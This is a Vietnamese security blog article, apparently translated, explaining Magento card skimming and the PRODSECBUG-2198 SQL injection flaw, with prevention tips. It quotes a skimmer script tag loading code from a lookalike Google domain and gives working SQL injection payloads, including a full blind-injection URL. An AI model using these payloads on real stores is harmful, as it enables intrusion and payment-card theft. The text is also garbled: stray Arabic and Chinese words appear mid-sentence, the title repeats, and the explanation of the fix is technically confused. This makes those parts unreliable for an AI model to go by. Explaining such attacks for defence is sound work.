Computer >> Hướng Dẫn Máy Tính >  >> Kết Nối Mạng >> An Ninh Mạng

Magento Card Skimming (Đánh Cắp Thẻ): Giải Thích, Phòng Ngừa & Bảo Vệ Cửa Hàng Online

Magento Card Skimming là hành vi đánh cắp thông tin thẻ tín dụng/ghi nợ trái phép bằng cách chèn script độc hại gọi là 'skimmers' vào trang web Magento. Nếu bạn sở hữu trang web chạy Magento, bài viết này dành cho bạn. Chúng tôi mang đến tài nguyên tốt với mọi chi tiết cần thiết về vấn đề bảo mật Magento card skimming.

Trong bài này, chúng ta thảo luận Magento card skimming là gì và tác động đến trang web Magento (với proof of concept). Học các mẹo thực tế để miễn dịch trang web khỏi vấn đề này. Hãy bắt đầu.

Bài viết liên quan – Magecart Attacks Trên Cửa Hàng Magento Là Gì & Cách Phòng Ngừa

Magento Card Skimming Là Gì?

Magento là nền tảng thương mại điện tử mã nguồn mở dựa trên PHP. Là CMS tự host hiện thuộc Adobe. Khoảng 250.000+ trang web dùng Magento cho e-commerce. Phần lớn thuộc các tập đoàn e-commerce lớn ở Mỹ. Do đó, Magento تحمل trách nhiệm lớn bảo vệ trải nghiệm khách hàng.

Card skimming (đánh cắp thẻ) là hành vi sao chép trái phép thông tin từ thẻ tín dụng/ghi nợ bằng thiết bị vật lý. Đây là cách Magento và card skimming liên quan.

Magento card skimming là dạng web skimming nơi hacker đánh cắp thông tin thanh toán trên Magento qua script bên thứ ba. Script này cho phép đánh cắp thông tin ngân hàng quan trọng: tên chủ thẻ, số thẻ tín dụng/ghi nợ, mã CVV, ngày hết hạn. Hacker thường kiếm tiền bằng cách bán thông tin này trên chợ đen.

Về Lỗ Hổng PRODSECBUG-2198 Exploit

Vấn đề PRODSECBUG-2198 được báo cáo lần đầu 9/11/2018 trên Bugcrowd. Cơ bản, PRODSECBUG-2198 là code dễ bị tấn công cho phép SQL injection trong Magento. Lỗ hổng này cho phép user chưa xác thực thực thi code tùy ý gây rò rỉ thông tin nhạy cảm.

Nhanh chóng bug được đánh dấu P1. Theo Bugcrowd, P1 là lỗ hổng có thể gây leo thang đặc quyền. Do đó, bất kỳ user nào có thể leo lên quyền admin từ quyền thấp hơn. Hơn nữa, cho phép thực thi code từ xa, đánh cắp tài chính, v.v. Exploit nhắm vào các phiên bản Magento sau:

  • Magento Commerce < 1.14.4.1
  • Magento Open Source < 1.9.4.1
  • Magento < 2.1.17
  • Magento < 2.2.8
  • Magento < 2.3.1

Skimmer Giả Danh Google

Trong một vụ skimming Magento gần đây, hacker dùng domain Google giả để đánh cắp thông tin thanh toán. Trong tấn công này, javascript độc hại được tải từ domain – google-analytîcs.com hoặc xn--google-analytcs-xpb.com.

Nếu nhìn kỹ, đây là chơi chữ trên domain Google gốc. Do đó, cuộc tấn công skimming này dùng lừa đảo (phishing) để lấy thông tin thanh toán nhạy cảm. Script trông như sau –

<script type="text/javascript" src="//google-analytîcs.com/www.[redacted].com/3f5cf4657d5d9.js"></script>

Hơn nữa, skimmer thu thập dữ liệu bằng JavaScript được tải và document.getElementsByTagName. Nếu không có developer tools mở, skimmer truyền dữ liệu đánh cắp đến domain Google giả – google-analytîcs.com hoặc xn--google-analytcs-xpb.com.

Tuy nhiên, hành vi kỳ lạ khi có developer tools mở trên trang web. Nó phát hiện và dừng giữa chừng quá trình truyền. Hành vi này cũng khác nhau tùy trình duyệt.

Magento Card Skimming: Proof of Concept

Proof of concept về lỗ hổng bảo mật này được đề cập như sau. Viết bằng Python và điều chính gây ra Magento Card Skimming.

  • Code ở đây tạo phiên trình duyệt giả với URL ngẫu nhiên và dữ liệu session. Sử dụng class Browser và hàm lấy session.
  • Object của class Browser với chi tiết session được truyền cho class SQL injection.
  • SQL injection thêm payload dữ liệu vào session URL, tạo sản phẩm và lấy chi tiết quan trọng từ database trang web. Payload SQL injection cũng có thể sửa đổi để lấy quyền truy cập đặc quyền vào dữ liệu backend.
  • Kẻ tấn công获得信息 về giao dịch gần đây và thông tin ngân hàng của user.
Magento Card Skimming (Đánh Cắp Thẻ): Giải Thích, Phòng Ngừa & Bảo Vệ Cửa Hàng Online
Magento Card Skimming (Đánh Cắp Thẻ): Giải Thích, Phòng Ngừa & Bảo Vệ Cửa Hàng Online
Magento Card Skimming (Đánh Cắp Thẻ): Giải Thích, Phòng Ngừa & Bảo Vệ Cửa Hàng Online
Magento Card Skimming (Đánh Cắp Thẻ): Giải Thích, Phòng Ngừa & Bảo Vệ Cửa Hàng Online
Magento Card Skimming (Đánh Cắp Thẻ): Giải Thích, Phòng Ngừa & Bảo Vệ Cửa Hàng Online
Magento Card Skimming (Đánh Cắp Thẻ): Giải Thích, Phòng Ngừa & Bảo Vệ Cửa Hàng Online

Lỗ Hổng Lây Nhiễm Trang Web Magento Như Thế Nào?

Magento có codebase khổng lồ khoảng 2 triệu dòng PHP. Việc audit và tìm exploit rất vất vả. Tuy nhiên, khi team ethical hacker kiểm tra code, họ thu hẹp mục tiêu vào code chịu trách nhiệm ORM và quản lý DB.

Khu vực bug Magento Card Skimming tồn tại:

1. Trong hàm prepareSQLCondition

Hàm public này nằm trong một trong các class chính xử lý database, nằm tại

MagentoFrameworkDBAdapterPdoMysql

Mã hàm như sau:

Magento Card Skimming (Đánh Cắp Thẻ): Giải Thích, Phòng Ngừa & Bảo Vệ Cửa Hàng Online
Magento Card Skimming (Đánh Cắp Thẻ): Giải Thích, Phòng Ngừa & Bảo Vệ Cửa Hàng Online

Hiểu Về Exploit

Hãy hiểu hoạt động exploit bằng cách tập trung vào các dòng được đánh dấu. Ở dòng [1], condition alias liên kết với pattern dùng $conditionKeyMap. Thay thế mọi ký tự '?' trong alias bằng phiên bản được quote của giá trị cho trước dùng hàm _prepareQuotedSqlCondition() ở dòng 33 dựa trên logic dòng 30-35. Xem instance code sau:

<?php $db->prepareSqlCondition('username', ['regexp' => 'my_value']); => $conditionKeyMap['regexp'] = "{{fieldName}} REGEXP ?"; => $query = "username REGEXP 'my_value'";

Vấn đề nảy sinh khi điều kiện "from" và "to" dùng cùng lúc ở dòng 30. Logic code đảm bảo field nằm trong một khoảng. Để hiểu hơn, xem code snippet:

<?php $db->prepareSqlCondition('price', [ 'from' => '100' 'to' => '1000' ]); $query = "price >= '100' AND price <= '1000'";

Theo logic thực thi, khi cả hai điều kiện tồn tại, trước xử lý "from" rồi "to". Nhưng lỗi quan trọng ở dòng 38. Query do "from" tạo ra được dùng tiếp cho formatting.

Vì mọi "?" được thay bằng giá trị cho trước, nếu dấu hỏi xuất hiện trong giá trị "from", nó sẽ bị thay bằng phiên bản quoted của giá trị gán cho "to". Để thực hiện SQL injection hợp lệ, kẻ tấn công triển khai exploit code sau:

<?php $db->prepareSqlCondition('price',[ 'from' => 'x?' 'to' => ' OR 1=1 -- -' ]); -> $query = "price >= 'x' OR 1=1 -- -'' AND price <= ' OR 1=1 -- -'"

Lỗi dù quy mô nhỏ nhưng tác động lớn. Thật ngạc nhiên, đoạn code này tồn tại từ Magento phiên bản 1.x.

2. Trong hàm execute của class Synchronize

Lỗ hổng khác tìm thấy trong hàm execute tại vị trí:

MagentoCatalogControllerProductFrontendActionSynchronize

Mã nguồn PHP nơi lộ lỗ hổng:

<?php public function execute() { $resultJson = $this->jsonFactory->create(); try { $productsData = $this->getRequest()->getParam('ids',[]); $typeId = $this->getRequest()->getParam('type_id',null); $this->synchronizer->syncActions($productsData, $typeId); } catch (Exception $e) { $resultsJson->setStatusHeader( ZendHttpResponse::STATUS_CODE_400, ZendHttpAbstractMessage::VERSION_11, 'Bad Request' ); } return $resultsJson->setData([]);

Call stack dẫn đến bug:

<?php $productsData = $this->getRequest()->getParam('ids', []); $this->synchronizer->syncActions($productsData, $typeId);   $collection->addFieldToFilter('product_id', $this->getProductIdsByActions($productsData));   $this->_translateCondition($field, $condition);   $this->_getConditionSql($this->getConnection()->quoteIdentifier($field), $condition);   $this->getConnection()->prepareSqlCondition($fieldName, $condition);  

Đoạn code dễ bị tấn công này tồn tại từ v2.2.0 của Magento. URL mẫu gây SQL injection mù không xác thực liên quan đến Magento Card Skimming:

https://magento2website.com/catalog/product_frontend_action/synchronize?   type_id=recently_products&   ids[0][added_at]=&   ids[0][product_id][from]=?&   ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -
Magento Card Skimming (Đánh Cắp Thẻ): Giải Thích, Phòng Ngừa & Bảo Vệ Cửa Hàng Online
Magento Card Skimming (Đánh Cắp Thẻ): Giải Thích, Phòng Ngừa & Bảo Vệ Cửa Hàng Online

Khi thông tin có thể đọc từ database, kẻ tấn công trích xuất thông tin đăng nhập admin và truy cập backend. Chúng cũng có thể lấy thông tin ngân hàng và tài chính từ database user và giao dịch. Kẻ tấn công có thể dùng thông tin này thực hiện tội phạm mạng như gian lận e-commerce, phishing, vishing. Chúng cũng có thể host mã độc trên trang web gây hại uy tín tổ chức trên nền tảng e-commerce. Trang web có thể bị đen danh bởi công cụ tìm kiếm dẫn đến giảm traffic tự nhiên.

Cách Bảo Vệ Trang Web Khỏi Magento Card Skimming?

Sau khi hiểu chi tiết Magento Card Skimming, hãy xem cách bảo vệ khỏi các tấn công tương lai.

  1. Sanitize Hàm prepareSqlInjection

    Để khắc phục bug bảo mật trong hàm prepareSqlInjection, code phải viết như sau:

    $query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);

    Tham chiếu đến giá trị truyền qua con trỏ 'this' ngăn chặn kẻ tấn công truy cập trực tiếp dữ liệu backend. Sử dụng biến con trỏ cũng cho phép trừu tượng dữ liệu và truy cập chỉ qua hàm được ủy quyền.

  2. Xác Thực Dữ Liệu Input

    Giá trị nhập vào bất kỳ trang nào của trang web Magento phải được xác thực trước khi truyền cho backend. Xác thực bằng hàm thích hợp hoặc logic phù hợp. Phải chắc chắn. Quản trị viên phải bắt buộc developer viết code an toàn, ít lỗ hổng.

  3. Cập Nhật Để An Toàn

    Tất cả plugin dùng cho trang web Magento phải cập nhật lên phiên bản mới nhất. Điều này đảm bảo trải nghiệm an toàn cho khách hàng và user. Hacker thường nhắm trang web chạy plugin cũ và có thể host mã độc làm chậm trang web và đen danh Magento.

  4. Kiểm Toán Bảo Mật

    Thực hiện kiểm toán bảo mật kỹ lưỡng để chắc chắn không có lỗ hổng. rà soát tất cả user Magento và xóa những ai bạn không nhận ra. Để phát hiện mọi lỗ hổng và lỗ hổng coding, bạn có thể thuê VAPT (Vulnerability Assessment and Penetration Testing) chuyên nghiệp cho trang web.

  5. Báo Cáo Mọi Sai Sót Bảo Mật

    Nếu tìm thấy dấu hiệu vi phạm bảo mật trong database user hoặc database xử lý giao dịch, liên hệ các bên liên quan (processor thanh toán, khách hàng, cổ đông) để giải quyết khẩn cấp sớm nhất. Vi phạm bảo mật không được bỏ qua.

  6. Cảnh Giác Với Rủi Ro Shared Hosting

    Nếu trang web host bằng shared hosting, phải mua gói backup và bảo mật tăng cường. Bạn, với tư cách admin bảo mật hoặc admin trang web, phải liên hệ nhà cung cấp hosting và nắm rõ các trang web khác host trên cùng server shared. Đừng rủi ro uy tín trực tuyến bằng lựa chọn kinh tế. Thảo luận chi tiết rủi ro shared hosting đã có trong bài trước của blog Astra. Đọc tại đây.

  7. Mã Hóa Dữ Liệu

    Mã hóa dữ liệu lưu trữ trên database trang web với cơ chế mã hóa mạnh. Điều này gây khó khăn cho kẻ tấn công xâm nhập dữ liệu cá nhân user hoặc thông tin chiến lược tổ chức.

  8. Vá Lỗ Hổng XSS

    Mặc dù bài này không bàn XSS, vì trang thanh toán Magento xây dựng bằng form PHP-based, quan trọng là dùng hàm htmlspecialchars() để ngăn tấn công $_SERVER["PHP_SELF"].

  9. Cài Đặt Tường Lửa

    Cài đặt tường lửa ứng dụng web là cách khác tăng cường bảo mật. Tường lửa Astra là hệ thống giám sát liên tục cho trang web. Nó nhận diện và chặn đe dọa sắp tới 24/7. Hơn nữa, nó tiến hóa với mỗi lần tấn công thử và cấu hình tốt hơn cho lần sau.

Để đọc thêm bài về bảo mật Magento, click here.

Tìm thấy bài viết hữu ích? Hãy chia sẻ với bạn bè trên Facebook, Twitter, LinkedIn.